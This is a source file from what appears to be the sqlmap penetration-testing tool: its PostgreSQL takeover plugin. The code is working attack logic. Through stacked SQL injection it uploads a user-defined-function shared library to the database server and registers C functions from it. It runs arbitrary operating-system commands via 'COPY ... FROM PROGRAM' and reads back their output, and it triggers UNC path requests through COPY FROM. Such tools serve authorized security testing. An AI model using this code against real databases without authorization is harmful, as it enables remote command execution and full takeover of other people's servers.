sqlmap/plugins/dbms/postgresql/takeover.py
Miroslav Stampar 9645aaa33f Fixes #4399
2020-10-25 17:11:22 +01:00

126 lines
5.0 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import decloakToTemp
from lib.core.common import flattenValue
from lib.core.common import filterNone
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isStackingAvailable
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import OS
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def udfSetRemotePath(self):
# On Windows
if Backend.isOs(OS.WINDOWS):
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "10":
majorVer = banVer.split('.')[0]
elif banVer >= "8.2" and '.' in banVer:
majorVer = '.'.join(banVer.split('.')[:2])
else:
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
raise SqlmapUnsupportedFeatureException(errMsg)
try:
if Backend.isOs(OS.WINDOWS):
_ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
checkFile(_)
self.udfLocalFile = decloakToTemp(_)
self.udfSharedLibExt = "dll"
else:
_ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
checkFile(_)
self.udfLocalFile = decloakToTemp(_)
self.udfSharedLibExt = "so"
except SqlmapSystemException:
errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
raise SqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)
def copyExecCmd(self, cmd):
output = None
if isStackingAvailable():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
inject.goStacked(self._forgedCmd)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
output = inject.getValue(query, resumeValue=False)
if isListLike(output):
output = flattenValue(output)
output = filterNone(output)
if not isNoneValue(output):
output = os.linesep.join(output)
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
inject.goStacked(self._cleanupCmd)
return output
def checkCopyExec(self):
if kb.copyExecTest is None:
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
return kb.copyExecTest